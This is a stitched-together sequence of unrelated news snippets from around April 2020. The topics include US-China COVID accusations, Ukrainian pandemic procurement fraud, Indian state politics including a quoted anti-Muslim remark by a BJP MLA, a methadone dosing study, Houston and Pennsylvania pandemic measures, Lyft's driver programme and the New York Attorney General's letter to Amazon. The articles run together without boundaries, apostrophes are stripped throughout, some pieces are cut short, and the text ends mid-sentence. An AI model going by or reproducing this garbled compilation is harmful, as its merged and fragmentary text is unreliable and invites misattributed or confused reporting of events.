Blue Shield of Massachusetts Related Links http://www.bluecrossma.com US president says Beijing could have stopped the virus from becoming a pandemic and says will conduct an investigation. US President Donald Trump has renewed his attack on China over the spread of the coronavirus, saying Beijing could have stopped the disease before it swept the globe. He promised to conduct serious investigations into Chinas handling of the pandemic. Trump lashed out at China as he projected that the death toll in the US from COVID-19, the disease caused by the coronavirus, could reach 70,000. Were doing very serious investigations We are not happy with China, Trump said during a White House news conference. There are a lot of ways you can hold them accountable. We believe it could have been stopped at the source. It could have been stopped quickly, and it wouldnt have spread all over the world. Trumps criticism was the latest from his administration to target how Chinas managed the coronavirus outbreak, which began late last year in the Chinese city of Wuhan and grew into a pandemic. Trump had previously referred to COVID-19 as Chinese virus, igniting a war of words with Beijing, which accused the US military of bringing the disease to Wuhan. Last week, Secretary of State Mike Pompeo said the US strongly believed Beijing failed to report the outbreak in a timely manner and covered up the danger posed by the respiratory illness. Foreign Ministry spokeswoman Hua Chunying said on social media on Monday that Pompeo should stop playing the political game. Better save energy on saving lives. The coronavirus outbreak has killed more than 211,000 people around the world, including more than 56,000 in the US, according to data compiled by Johns Hopkins University. Earlier on Monday, White House trade adviser, Peter Navarro also accused China of sending low-quality and even counterfeit coronavirus antibody testing kits to the US and of profiteering from the pandemic. Navarro, an outspoken critic of Beijing whom Trump has appointed to work on supply-line issues relating to the health crisis, said more testing both for the virus and antibodies was vital to getting Americans currently in lockdown back to work. Thats where, perhaps, we can find people who are immune, that can be in the workplace in a more safe environment. But we cant have China, for example, bringing in those fake tests and counterfeit tests, because thats going to be very disruptive, Navarro said in an interview on TV network Fox News. Theres a lot of these antibody tests coming in from China now that are low quality, false readings and things like that, he said. The US is heavily reliant on China for basic equipment and drugs. More than 19% of all infected Covid-19 in Ukraine are doctors. This is largely due to the lack of protective equipment for doctors More than 19% of all infected Covid-19 in Ukraine are doctors. Our country is among the world leaders in this indicator. This is largely due to the lack of protective equipment for doctors. In these conditions, purchases of medical equipment, masks, and protective suits become critical. In order to quickly supply the country with the necessary amount of protection, March 17, MPs introduced amendments to the law of Ukraine "On public procurement." Thanks to these changes, longer tenders are no longer needed, procedures are accelerating. But what coronavirus procurement is carried out by the authorities and what is the quality of the purchased goods? Protective suits According to the Ministry of Health, Ukrainian hospitals lack nearly a million protective suits against the virus. The country is actively purchasing not only disposable but also reusable protective equipment that is sterilized with antiseptics. In particular, products are increasingly being purchased from Ukrainian entrepreneurs. Recently, there was a scandal that the Ministry of Health abandoned suits Textile-Contact for 8 USD in favor of Chinese for 19 USD. The ministry explained that the goods of the Ukrainian manufacturer were of poor quality. Open source On the company's website, we find reusable protective overalls with a hood and a waterproof coating that can withstand up to 20 washings; they are made of spunbond. The same material is used, for example, for covering seedlings. Its filtration class is G2-G3; it traps particles of 10 microns and larger. Partially, such a suit will delay the virus (the probability of infection, according to the Ministry of Health, is reduced significantly). But protection will be incomparably higher if the product uses a layer of Meltblown. There is no evidence that the Chinese product is reliable. The existence of Chinese product certificates does not guarantee its quality. Polish media, for example, wrote about 7 million protective masks that were brought into the country from China by a Ukrainian plane. It turned out that they had fake certificates. There are big doubts that imported suits would be tested. Extra money is needed for inspections, and most importantly, precious time. The Ministry of Health will conduct an internal investigation regarding this situation. But it is important to understand that this entire dispute concerns only 71,300 suits. This amount is extremely small in the nationwide terms. Protection is enough for a month only for 2,500 thousand doctors, so the purchase will cover less than 20% of the needs. Therefore, quality fades into the background. In addition, it does not seem that the reliability of costumes for doctors has been thought of before. We contacted two infectious disease specialists who treat Ukrainian patients to find out if they are aware of the degree of protection of their clothes. Doctors had no idea if their suits had an extra protective layer. Some doctors showed their personal protective equipment online. In many cases, project documentation does not clarify what level of protection suits are. Zaporizhya Regional Administration bought 57,000 suits for almost 1 million USD. These are fire-fighting, rescue, and protective equipment, nothing is known about the protection class. Doubts arise regarding procurement in other departments. According to Prozorro public e-procurement system, the Ministry of Internal Affairs is acquiring 250,000 suits for 10 USD. Moreover, it is stated that these suits will be disposable and non-sterile. That is, almost 2,5 million USD is spent on precautions on the accounts of the Fort enterprise of the Ministry of Internal Affairs. And the Ministry of Defense is buying suits from the Chinese company for 21 USD without VAT, which is clearly more expensive than the average market price. We will recall the Combasst Industry Development Co company - in total, the ministry purchased over 570,000 USD of protective equipment from it. Masks and respirators Ukraine has about 186,000 doctors. Outpatient admission is approximately 33 hours per week. But in the fight against coronavirus, doctors work longer - 40 hours on average. That is, about 20 masks per person are needed per week. For all doctors in Ukraine, this is 3.7 million masks in just 7 days. But civil servants, law enforcement officers also need them. So we need at least 3 times more masks than we have today. A large supply of Mriya aircraft does not fundamentally change the situation, because many masks from this batch will go on sale in pharmacies. We are already making some progress on this issue. Judging by the data of the Prozorro analytics module, masks are being purchased more and more actively in Ukraine. They have already spent more than 3,7 million USD. On average, one mask costs 0,5 USD. Open source Some government agencies prescribe requirements for masks they should have three layers, sealed seams, a retainer on the nose. But many tenders have been announced for the purchase of spunbond masks, or reusable masks, sewn from technical non-woven fabric, that is, from ordinary cotton for clothes. Fortunately, most of these purchases are not for doctors. The procedure is not simple. It is still necessary to publish the procurement plan in the system, wait for two days, check suppliers for compliance with 13 points, including information from the Ministry of Internal Affairs, sanctions lists, anti-corruption requirements, and tax debts, and publish the report, says one of the Ukrainian manufacturers. Coronavirus tests In general, Ukraine is actively acquiring tests that cannot really show the presence of coronavirus, that is, rapid tests with a high error. Only every tenth of the purchased tests is a high-precision PCR test. Many companies that supply rapid tests are not very reliable. ALT Ukraine LTD, for example, is a defendant in several criminal cases. A case on embezzlement was opened against "Incos Line." The price of the express tests themselves is also different. Kyiv hospital number 8 bought tests for 8 USD per item, the health department of Chornomorsky City Council 11 USD per item. For comparison, the specialists of the Institute of Molecular Biology and Genetics of the National Academy of Sciences of Ukraine produce accurate PCR tests on average 9 USD each. Foreign tests are several times more expensive. Nevertheless, domestic products were not purchased for a long time. And even now, when scientists report on production capacities of 50,000 tests per week, the authorities are talking about much lower supply figures - up to 20,000 per day. The Ministry of Health announced that 450,000 PCR tests had already been sent to the regions, which did not correlate well with the previously stated production volumes. Later it became known that the tests will not be bought from the Institute of Molecular Biology and Genetics but from Ukrgentech private company. The head of the Ministry of Health declares that they are not worse than German, Korean or Chinese tests. Dmytro Synyuka, a former Donbas fighter, is among the founders of the company. A few years ago, he talked about reagents of Ukrainian production, which allow diagnosing pathogens of viral diseases. But it is rather doubtful that the authorized capital of the enterprise, which would provide the whole country with masks, is only 36 USD. The company is engaged in a strikingly diverse range of services: repair of electrical equipment, legal services, purchase and sale of real estate, construction, rental, organization of leisure. Oleksandr Kolyada, a researcher at the Epigenetics Laboratory of the National Academy of Sciences of Ukraine, speaks of a direct obstruction to Ukrainian production: allegedly, domestic tests hindered the successful multi-million dollar purchase from the Ministry of Health. In addition, according to Kolyada, the ministry refused to provide scientists with control samples from the first patients in Ukraine. But for a long time, we have been buying tests from China and Korea. In mid-April, the Ministry of Defense signed an agreement with a Chinese company (the same one that we mentioned earlier) for the purchase of tests for 2,5 million USD. Moreover, Schemes online investigation program writes that the contracts from the company are signed by a Ukrainian who works in the structure of the Ministry of Defense. Lviv Regional Clinical Hospital also did not save on lung ventilation. 150,000 USD was allocated for mechanical ventilation devices. Ksenko company won the tender again. Previously, criminal cases were opened against this company. The media write that it supplied low-quality equipment at inflated prices, including a defective anesthesia machine. By the way, the Lviv Regional Infectious Clinical Hospital also ordered a FB-15RBS bronchoscope from this company for 20,000 USD, although it can also be found for 13,000 USD. Overpriced procurement on a lot of Prozorro. Cherkasy Infectious Diseases Hospital acquired guards at 10 USD, which are sold at half the price on the net. The same applies to tenders for special non-contact thermometers. Frauds on procurement include acquisition of goods that are not related to coronavirus, that is, an attempt to use the simplified procedure. The National Academy of the Border Guard under the guise of coronavirus purchases purchased laptops, trousers, peas, planning to reconstruct the kindergarten in Odesa. The same applies to the purchase of 150,000 USD of furniture and equipment according to a simplified scheme of the Odesa City Infectious Diseases Hospital. The main task for some "servants of the people" is not to defeat the coronavirus, but simply to take the money. Taxpayers, as well as bona fide Ukrainian entrepreneurs, for whom the struggle for the opportunity to sell high-quality equipment is turning into a struggle with windmills, lose out on this. In the meantime, purchased masks, costumes, apparatuses, and tests can protect only the material condition of those who sold or purchased them, but not doctors or patients. Nature & Weather By Ls Cohen Published: April 28 2020 First meeting of working group to discuss guidelines for 2020 season. Summer on Long Island means trips to one of the hundreds of local beaches. With warmer weather coming, Suffolk County is amassing a working group of local leaders to develop guidelines to reopen local beaches this season. When talking about measures everyone has taken to prevent a further spread of the virus, Suffolk County Executive Steve Bellone spoke about how people need to continue to be vigilant even as we reopen the economy. As we reopen, as we get into the summer months it is going to be critically important that we continue all of these efforts, he said. That might mean a very different summer season than most Long Islanders are used to. This past weekend, warm weather on Saturday brought out people flocking to local parks and any outdoors nooks and crannies to escape the doldrums of quarantine. At times, this had caused concern for local authorities to enforce social distancing requirements. New York State has outlined a plan for phased reopening of the economy. Phase one includes opening construction and manufacturing functions with low risk, followed by certain industries based on priority and risk level. Businesses will be assessed by how essential they are and risk to the public health. In a press conference, Governor Andrew Cuomo said that the plan is to increase the pace of reopenings as infection rate declines but regions should not open businesses or attractions that draw a large number of visitors from outside the local area. As we reopen, Cuomo said we will have to reimagine what life is and were going to improve. East Hampton Town Supervisor Peter Van Scoyoc said he is participating in the working with other town supervisors, village mayors, and county and state officials to develop recommendations with respect to the COVID-19 pandemic. The working group convened for the first time on April 22. With over 70 miles of coastline, and as a traditional destination for visitors who enjoy our beaches and open space, East Hampton has a particular challenge ahead, Van Scoyoc said in a statement released by the town. One thing is sure: this summer will be different than others as we must remain vigilant against the coronavirus. Beach closures or other limits may be necessary. On Tuesday, Andhra Pradesh Endowments Minister Velampalli Srinivas Rao and state Brahmin Corporation chairman Malladi Vishnu accused the Opposition of spreading false propaganda about COVID-19 control measures in the state. Apprising the TDP, JSP, and BJP parties of the steps taken by the YSRCP government, the minister said that the state has conducted almost 75,000 tests for Coronavirus. Rao also pointed out that Simhachalam temple's famous 'Chandanotsavam' ritual is also being conducted without devotees in the state. More than 50,000 food packets cooked at the temples are being distributed to the needy. Along with this, an amount of Rs 5,000 is deposited in the accounts of 'Archakas' having nominal salaries, out of Archaka Welfare Fund, Rao added. READ | Andhra Pradesh: TDP's Naidu Pins Blame On CM Reddy For Surge In COVID-19 Cases In State "The Chief Minister has also decided to contribute Rs 5,000 each to churches and mosques, from the minority department. Ignoring all such welfare acts, some people are making false propaganda on the government. But all opposition parties -- be it Chandrababu Naidu of TDP, Pawan Kalyan of JSP, or their tail parties (CPM and CPI) are making false propaganda that COVID-19 positive patients are increasing by the day," he said. Compared to the number of tests held at Gujarat or Madhya Pradesh, the Minister stated that the parties should realize that Andhra Pradesh has conducted the highest number of COVID-19 tests. READ | Andhra Pradesh CM Hints At Extended Lockdown In Orange, Red Zones Post May 3 Seeks cooperation from the Opposition Asking the Opposition to keep politics aside in this time of crisis, Rao appealed to Andhra BJP President Kanna Lakshmi Narayana to give suggestions and write letters to the Centre to release more funds. Meanwhile, Vishnu said that Andhra Governments actions have a human touch, as it facilitates Rs 5,000 to all those working in temples, mosques, and churches, along with 16,500 pensions to Brahmins from the corporation. READ | Andhra Pradesh Govt Announces Zero-interest Loans For Women Self Help Groups Amid COVID "I ask TDP senior leader Yanamala Ramakrishnudu whether he has any brains at all. It is already known that N Chandrababu Naidu has no brains. How you are trying to find fault with government actions to mitigate COVID-19. Andhra Pradesh is conducting the highest number of tests in the country and our state is implementing lockdown strictly," Vishnu added. The Minister said that the state is suffering financial burdens because of former Chief Minister N Chandrababu Naidus actions. He added that the YSR Government is doing its best to cope with the COVID-19 crisis. READ | Another COVID-19 Positive Doctor Dies At Private Hospital In West Bengal's Kolkata (With inputs from ANI) BJP set to pull out all stops in UP, SP main contender Do not buy vegetables from Muslims, says BJP MLA India oi-Deepika S Lucknow, Apr 28: BJP MLA Suresh Tiwari has kicked up a controversy after allegedly asking residents of Deoria district not to purchase vegetables from Muslim vendors. In a 14-second clip, which is now viral on social media, the 74-year-old BJP leader is heard saying in Hindi: "Keep one thing in mind, I am telling everyone openly, no one should purchase vegetables from miyas [Muslims]." Asked about his remark over the phone, Tewari said, "On April 17 or 18, I was distributing masks and sanitizers among the people. When I reached the boundary of the nagar palika, around 17-18 people came to me and started complaining against Tablighi people making a chaos and spreading coronavirus and also contaminating vegetables with their saliva." "I told them not to have fight with them or take the law into own hands, but simply to stop purchasing from them," he said. "There are many Muslim vendors in Barhaj too and I only advised people not to purchase from them to be saved from the deadly virus," the MLA added. Meanwhile, UP BJP spokesperson Chandra Mohan said the party would look into the circumstances in which the MLA issued such the statement. Suresh Tiwari is a BJP MLA from Barhaj assembly seat in Deoria district of Uttar Pradesh. Meanwhile, Samajwadi Party spokesperson Anurag Bhadauriya slammed Suresh Tiwari for his comments and said, "Even in such challenging times, BJP leaders are busy spreading hate in the society. These people should be slapped with sedition charges and put in jail." This comes just days after Prime Minister Modi and RSS chief Mohan Bhagwat called for unity and asked Indians to not discriminate against particular communities. Mohan Bhagwat on Sunday said a community cannot be held responsible for the mistakes of a few. He called for people to help the affected without any discrimination. Dominic Cummings, officially the prime ministers chief adviser, semi-official chief misfit and unofficial Svengali, provokes strong feelings. As the man who, arguably, won the EU referendum for Leave, this is inevitable. David Cameron, who experienced his disruptive ways first-hand when Cummings worked for Michael Gove at the education department, called him a serial psychopath. Theresa May banished him from Whitehall. Boris Johnson has embraced him, to the unease of many, even in Tory circles. So the revelation that this inquisitive, brooding, menacing figure, plus a sidekick named Ben Warner, had been attending meetings of the Scientific Advisory Group on Emergencies (Sage) was bound to cause a stir. The argument runs that he may have had a chilling effect on free discussion, and that full members of Sage Cummings was only an attendee found it worrying that he was parked in on their proceedings. The allegation is that Cummingss interventions sometimes inappropriately influenced what is supposed to be impartial independent advice. In Cummingss defence, he and the PM may have been hugely better informed about the pandemic as a result. Indeed the eventual imposition of a partial lock down last month which has thus far worked is said to have been down to a Domescene moment of realisation when the Sage discussed Imperial Colleges terrifying estimates of potential casualty levels. Methadone dosing could be far more precise: UB study shows how The issue with methadone prescribing is that it is very difficult to accurately predict what the correct dose is, and the outcomes can be catastrophic. BUFFALO, N.Y. Fifty years after the discovery of methadone, not much has changed in terms of how its prescribed to treat opioid use disorder. A new University at Buffalo study on how methadone is metabolized reveals how more individualized prescribing could better serve patients. The paper, published April 17, reports on a study led by researchers at the Jacobs School of Medicine and Biomedical Sciences at UB that focused on genetic and non-genetic differences in how methadone is metabolized in specific patient populations. Methadone prescription has really not changed in the past 50 years since the medication was originally discovered, said Andrew H. Talal, MD, professor of medicine in the Jacobs School, a physician with UBMD Internal Medicine and lead author of the study. The issue with methadone prescribing is that it is very difficult to accurately predict what the correct dose is, and the outcomes can be catastrophic, said Talal. If too much is given, it can be fatal, and too little can lead to withdrawal symptoms and potentially the need to use illicit drugs, such as heroin, to diminish the symptoms. He described the process of trying to determine the appropriate dose as laborious and time-consuming. Dosing usually begins with a low, standardized dose that is then titrated to increasingly higher doses as needed. This is a time-consuming and complex process from both the patient and provider standpoint, he said. The study was conducted on 97 participants, the majority of which were either African American or Hispanic and more than half of whom were male. The research was motivated by a desire to bring personalized medicine to methadone prescribing, meaning that a patients optimal dose will be determined according to characteristics specific to that patient. According to the studys findings, gender, body mass index and ethnic background through encoding of different metabolizing enzymes can all affect how a patient metabolizes methadone, explained Talal. The study demonstrates that different ethnicities may encode different forms of the enzyme that metabolizes methadone so that some people metabolize it quickly while others are slow metabolizers, Talal said. Without measurement of these different enzyme forms, he explained, patients may be susceptible to over- or under-dosing and the symptoms and signs associated with each. In this study, we found that the individual genotype of the liver enzyme that is responsible for methadone metabolism can have a direct effect on whether a patient is a slow or rapid methadone metabolizer, said Talal. The next step is to do larger studies in more racially and ethnically diverse patient populations. Ultimately, the goal is to develop methadone-dosing algorithms that can be applied clinically. Our ultimate goal is to decrease the incidence of deaths due to opioid overdoses, improve symptom control, and increase patient satisfaction, said Talal. In addition to Talal, UB co-authors include Lindsay M. Chakan, PhD, and Arpan Dharia, MD, in the Department of Medicine; Marianthi Markatou, PhD, and Yuxin Ding of the Department of Biostatistics in the School of Public Health and Health Professions; and Gene D. Morse, PharmD, of UBs New York State Center of Excellence in Bioinformatics and Life Sciences. Other co-authors are Charles S. Venuto, PharmD of the University of Rochester; Even D. Kharasch, MD, PhD, of Duke University; Lawrence S. Brown, MD and Anthony McLeod, both of START Treatment and Recovery Centers. The study was supported, in part, by an administrative supplement from the University of Rochester Center for AIDS Research and the Troup Fund of the Kaleida Health Foundation. Several National Institute of Health grants also supported the research as well as support from Echosens for donation of Fibroscan for measurement of hepatic fibrosis and steatosis. A clutch of custodians got into a huddle last week to discuss whether the new foreign direct investment (FDI) rules should be applied to regions such as Hong Kong and Taiwan. It was decided that Hong Kong a special administrative region of China ought to be brought under the ambit of the new rules despite it not sharing a land border with India, according to the people privy to the discussions. The custodians plan to write to the Reserve Bank of India (RBI) and the Department for Promotion of Industry and Internal Trade (DPIIT) for clarity in the matter. A few ... Rajesh Asnani By Express News Service JAIPUR: Rajasthan Chief Minister Ashok Gehlot wants the Centre to provide a national package of Rs 20 lakh crores to revive the economy though the Centre has allocated only a Rs 1.7 lakh crore package. Gehlot added that in Japan, Germany, USA and UK the relief package has been 12-15 percent of the GDP. Gehlot also mentioned about 15 suggestions that he has sent to Prime Minister Narendra Modi. After a video conference with PM Modi on Monday to discuss the situation created by the coronavirus crisis in the country, Gehlot asserted :Our country and all state governments have suffered huge losses due to coronavirus pandemic and our revenue has dropped by 80 to 90 per cent. Our industry, trade and real estate sectors will need huge relief. We need to open the lockdown in a phased manner to restart economic activity or else people will die of hunger even if they escape corona. Chief Minister Gehlot also said that PM Modi sought suggestions in writing from the chief ministers who did not get the chance to speak during the video conference interaction. Gehlot revealed that he has forwarded a 15-point list of demands to PM Modi to cope with the crisis arising out of the coronavirus pandemic. These include a grant of Rs 1 lakh crore to the state and a 60% Wage and Means Advance from RBI which should be interest-free. Gehlot wants a 6-month interest-free moratorium on payment of loan instalments and the principal amount of loan taken by the state government, its boards, corporations or companies (including Power Companies) from the Union Government and its various institutions. The allocation of loans to states should be increased from 3 to 5 per cent. In addition, the Rajasthan CM wants the monthly allocation of foodgrains for the state to be increased to 30 thousand metric tonnes in consonance with current population estimates CM Gehlot wants states to be given Rs 1 lakh crore grant. The basis to give grant could be based on population or the impact of COVID-19 pandemic or the standards prescribed by the GST Council or the Interstate Council. Gehlot has also suggested that the GST compensation period should be increased to 10 years from the existing five. To combat the corona crisis, Gehlot also wants Centre to go for centralised purchase of Personal Protective Equipment (PPE) kits, masks, testing kits, ventilators etc. of international quality standards and make these available to the states. To help farmers, Gehlot says that there should be 50 per cent procurement of agriculture crops on MSP instead of 25 per cent. He also wants the Centre to provide a big economic stimulus package to bail out the trade and industry sector. In addition, Gehlot has demanded that fiscal expenditure should be encouraged to bail out the economy. For this, the Union Government should immediately release the first installment of its share of the centrally sponsored schemes and the process of releasing the amount should also be simplified. Moreover, the Rajasthan CM wants the Centre to come out with a scheme for payment of salaries to workers by the MSMEs that are not in a position to pay the salaries and wages to their labourers by bailing out employers. Gehlot has also has demanded that there should be a national plan for the return of migrants in a phased manner using special transport. Finally, he wants that the Centre should give freedom to states for restoring economic and industrial activities instead of having uniform national regulations. While Gehlot has clearly spelt out a detailed list of demands/suggestions, it will be interesting to see how many are accepted/implemented by the Centre. Please allow ads as they help fund our trusted local news content. Kindly add us to your ad blocker whitelist. If you want further access to Ireland's best local journalism, consider contributing and/or subscribing to our free daily Newsletter . Support our mission and join our community now. Pennsylvania Secretary of Education Pedro Rivera said whenever students return to school, things will look different. Read more Whenever the coronavirus permits Pennsylvania students to return to class, whether its September or otherwise, things will look different, Secretary of Education Pedro Rivera said Tuesday. Were planning for the best, but were preparing for the worst, he said. That could mean masks, smaller class sizes, rethinking school transportation, new ways of delivering children breakfast and lunch, reduced crowds at sporting and arts events, and other things students, teachers, and parents have not seen in the past. Were looking at a hybrid staggered model that addresses not only the academic needs of students but also their health needs as well, and I would encourage parents to think the same way, Rivera said in a call with reporters. When we return back to school, it will not look like the schools we participated in just over a month ago, the education secretary said. Rivera spoke to reporters shortly after President Donald Trump suggested states consider reopening schools, but Gov. Tom Wolf has already ordered all Pennsylvania schools closed through the end of the academic year. Summer school could also be affected by the pandemic, Rivera said. Under Wolfs plan for reopening the commonwealth, schools will only be permitted to hold in-person classes when an area is considered in the green zone, with the least amount of restrictions. While there is a chance that summer learning programs may be able to happen in person, Rivera said, its also possible that students would not be able to congregate and teachers would not be able to show up to school and other arrangements would have to be made. COVID-19 will also change the way schools operate in the future, Rivera said; educators throughout the commonwealth can now be empowered to flip their classrooms a technique that refers to students learning material online, then using class time to work through problems with teachers and peers. Families and schools and communities have to see this as a new opportunity to transform education, Rivera said. Whenever in-person instruction resumes, schools and districts will have to help students gain ground, he said. We know the implications of summer slide, and now when you multiply that by two or three in some cases, our fear is that especially for our most vulnerable students well continue to see potential backslide instructionally and educationally, Rivera said. The pandemic did cancel state assessments for this academic year, but dont expect to see them vanish permanently, officials said. As we head into next year, our hope is that schools are in a place where we return to standardized assessments and can use them as an important metric in continuous improvement," said Matthew Stem, deputy secretary for elementary and secondary education. School districts across the commonwealth will likely see financial fallout from the pandemic. Philadelphia, in particular, has already signaled that it will have a budget shortfall of $38 million for 2020-21 and a five-year gap of $1 billion and will lobby state officials heavily to help minimize impact to city classrooms. Any aid from Pennsylvania would come through the General Assembly, but weve been looking at a cost mitigation strategy for school districts during COVID-19, as opposed to just generating revenue, because we dont have the method by which to generate revenue, Rivera said. The department has provided some professional development and online platforms to districts. The state has given equity grants to some districts with large numbers of students unable to participate fully in education during the pandemic because of technology or other gaps; Philadelphia, Bristol, Coatesville, Chester-Upland, Interboro, Norristown and Upper Darby are among the districts that received state dollars. Several area charter schools, including Antonia Pantoja, Olney Charter High School, Philadelphia Hebrew, and Universal Institute, also received funds. Rivera said the department was able to award $5 million in equity grants, but it had $22 million in requests. Rivera was clear, though: Any assistance that comes to school systems and charters in the form of pandemic relief must be treated as such. Thats one-time funding, the secretary said. We should not use that to supplant existing programs. If not, were going to find ourselves in a position where in a year or two were asking for more funding. Chron.com is following the latest headlines on the COVID-19 pandemic and its effects on the Houston area. 4:26 p.m. A mega food distribution effort for Houston-area families in need set for Wednesday has been relocated from Houston Premium Outlets to the Berry Center, the Chronicle's Chevall Pryce reports. Now in its third week, the food drive has served more than 6,000 families so far with 60 pounds of food per vehicle Families in need of produce and grocery items can stop by the food drive from 2 p.m. to 8 p.m Wednesday at the Berry Center, 8877 Barker Cypress Road in Cypress. Cars must come into the parking lot from the main entrance. Volunteers will load cars without recipients having to exit their vehicles. 9:19 a.m. Harris County Judge Lina Hidalgo has unveiled a new three-part mitigation plan that will help protect the city against a possible second wave of COVID-19 cases and safely restart the economy. The plan calls for increased testing, hiring a team of scientists and medical experts to expand contract tracing with the hiring of 300 new workers and volunteers and to ensure hospitals have enough capacity to treat a possible surge in patients. Beginning this week, the county will have the ability to test up to 1,600 residents per day through additional sites that include four mobile units and two fixed units in Katy and Baytown, Hidalg0 said during a Tuesday press conference at Houston Transtar. Hidalgo touched on the county's new strike team that will go into nursing homes and congregating settings to test more residents, adding that for patients who test positive, the county is able to test about 20 people who they were last in contact with. "In order to test all the new cases and their contactsit's imperative we keep the new cases per day below 100," Hidalgo said. SELECTIVE OPENINGS: Abbot announces which Texas business can and cant open The second approach involves expanding the county's contact tracing workforce with additional new hires and volunteers. Hidalgo said the county is working to hire an "army" of scientists, contract tracers and medical experts to supervise the new contact tracers, whom will help reach out to those who have been infected and track down who they have been in contact with to get them tested as well. "We are not going to be asking you for personal information, we are asking for health information that will be protected and that health information allows us to continue to fight that virus," Dr. Umair Shah, Executive Director of Harris County Public Health, said of the contact tracers. The third and final piece of the plan is to ensure hospitals have enough capacity to sustain a new wave of cases and to enact a local backup shelter. Hidalgo said after weeks of waiting, the county finally has cots, ventilators and personnel to staff an emergency shelter. "If we let our foot off the gas right now, the virus will inevitably come back," Hidalgo said. "This is a war that is very much still going on." Hidalgo said the county has been working on this mitigation plan for weeks and is launching it earlier than expected to allow for it to work "hand in hand" with Gov. Greg Abbott's reopening strategy that was announced Monday. Abbott's plan lets the state's current stay-home order expire April 30 and for select businesses to reopen with 25% occupancy levels. LATEST: Harris County Judge Lina Hidalgo is set to announce the "mitigation plan" for the county at a press conference this morning. The announcement comes the day after Texas Gov. Greg Abbott announced his multi-phased plan to reopen the state, which includes retail stores opening at limited capacity. Beginning Friday, May 1, all retail stores, restaurants, movie theaters, malls, museums, libraries, churches and places of worship can reopen with occupancy limited to no more than 25 percent. FEWEST CONFIRMED: Harris County ZIP codes with the least confirmed cases of COVID-19 so far Houston Mayor Sylvester Turner said he is hopeful Abbott's timeline to reopen the state will work but cautioned the public to continue practicing social distancing, wear masks and stay home if at all possible. Check back for the latest updates as they come in. Margaret Trudeau, the mother of Canadian Prime Minister Justin Trudeau, was rushed to hospital overnight after a fire broke out in her Montreal apartment, sources and local media said Tuesday. Emergency response officials told AFP that one person was transported to hospital, as local media posted images of several fire trucks, their long ladders extended and hoses strewn across the road at her downtown residence. The prime minister's office did not immediately respond to requests for information. But public broadcaster Radio-Canada said Margaret Trudeau, who is also the widow of late prime minister Pierre Trudeau, was treated in hospital for smoke inhalation and possibly burns. She is expected to recover. The blaze reportedly started on a fifth floor terrace, and took 70 firefighters to douse. Three families were evacuated. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) STATEN ISLAND, N.Y. -- As the coronavirus (COVID-19) pandemic continues to impact all aspects of life, one e-hail company is making sure that the people who are keeping the world moving can stay healthy. On Tuesday, Lyft announced a new partnership with One Medical, connecting drivers with the medical companys Essential Workers program, offering a free 30-day membership, on-demand virtual care and access to prioritized COVID-19 testing. We are excited to partner with One Medical to help provide drivers with access to virtual care and COVID-19 screening, said Angie Westbrock, vice president of Global Operations and the co-head of Lyfts COVID-19 Task Force. We are committed to increasing transportation access for those who need it most, including the One Medical team members and those on the frontlines of this crisis. Drivers who enroll in the program receive free access to One Medicals virtual care platform, which offers on-demand digital COVID-19 screenings, video visits, secure provider messaging and more. After participating in a virtual COVID-19 screening, drivers who are recommended by a provider for testing will be prioritized at nearby testing sites. The program is currently available in Chicago, Portland, San Diego and Seattle, and it is in the process of expanding to the San Francisco Bay Area, New York City, Los Angeles, Boston, Phoenix and Washington, D.C. Drivers looking to enroll in the program can find more information here. OTHER SAFETY EFFORTS Earlier this month, Lyft announced that it is providing hundreds of thousands of cloth face coverings for its drivers, as well as the employees who handle the companys fleet of bikes and scooters. Additionally, the company is providing hundreds of thousands of bottles of hand sanitizer and other cleaning products, with over 35,000 sanitizing products handed out so far. Lyft has also expanded the conditions under which drivers can receive funds from the company if they are unable to work. Since March, the company has offered funds to drivers who have tested positive for COVID-19 or were put under individual quarantine by a public health agency. Now, drivers who are diagnosed as being immuno-compromised and are directed to self-isolate by a doctor also qualify for funds through the company. Drivers can find additional information by visiting the companys driver resource page. FREE RIDES, DELIVERIES IN NYC In recent weeks, Lyft has announced partnerships with various New York-based nonprofit organizations to offer free rides and deliveries to essential workers, seniors, patients with medical appointments and others in need. As part of the companys LyftUp initiative -- a comprehensive effort to provide free rides to support job access, grocery access, voting access, bike share access and disaster response -- free ride/delivery codes are given to the companys non-profit partners, who distribute them directly to communities in need. Lyft has partnered with the following New York-based nonprofit organizations: Good+Foundation, to ensure the delivery of essential items like diapers, wipes, thermometers and cleaning supplies to families in need Island Harvest NY, to provide rides to Long Islanders to access feeding programs in Nassau and Suffolk counties NY Cares, to provide rides to volunteers delivering food to seniors and food-insecure New Yorkers NY Common Pantry, to provide rides to employees traveling from their homes to safely deliver food to vulnerable New York City residents Brooklyn Laboratory Charter Schools (LAB), to ensure the delivery of essential school supplies and technology resources to students Asian American Federation, to provide access to and reliable rides to Asian American seniors, essential workers and vulnerable community members Invisible Hands, to provide rides for volunteers delivering food to seniors National Supermarket Association (NSA) and Older Adults Technology Services (OATS), to provide rides for seniors to get groceries during designated senior/elderly hours" Queens Community House (QCH), to provide rides for employees working in its senior center and food pantry Ronald McDonald House New York, to provide rides to patients to get to necessary medical appointments Women in Need (WIN), to provide rides for women in shelters to grocery stores and their places of employment World Central Kitchen (WCK), to provide rides for staff and volunteers who run satellite food distribution points around the city Were grateful to all those who drive with Lyft for helping provide rides for those in need,'' said Jen Hensley, Lyfts senior director of public policy, New York. Lyft is committed to supporting drivers by creating new opportunities to help them earn additional income through the Lyft app, while continuously working to protect driver safety. "Amazon's health and safety measures taken in response to the COVID-19 pandemic are so inadequate that they may violate several provisions of the Occupational Safety and Health Act," James's office wrote in the letter, whose content was shared by a source familiar with the letter on Monday. Amazon.com may have violated safety measures and labor practices amid the coronavirus pandemic as it fired a warehouse protest leader last month, New York Attorney General Letitia James's office wrote in a letter to the company last week. Amazon terminated Christian Smalls, a critic of the company's warehouse conditions in the pandemic, on grounds that he put others at risk by violating his paid quarantine when he joined a demonstration at Amazon's Staten Island, New York, fulfillment center. The letter, sent to the company on April 22, adds that preliminary findings "raise serious concern that Amazon may have discharged (Smalls) in order to silence his complaints and send a threatening message to other employees that they should also keep quiet about any health and safety concerns." Amazon said it has taken "extreme measures" to keep its employees safe, according to a company statement cited by NPR, which first reported on the letter. "We encourage anyone to compare the health and safety measures Amazon has taken, and the speed of their implementation, during this crisis with other retailers," Amazon told NPR. The company did not immediately respond to a Reuters request for comment. The letter also called on the e-commerce giant to close some warehouses for "adequate sanitization and disinfection". The world's largest online retailer has been facing intense scrutiny by lawmakers and unions over whether it is doing enough to protect staff from the novel coronavirus. In March, New York City Mayor Bill de Blasio said he ordered the city's human rights commission to open an investigation into the dismissal of Smalls. A 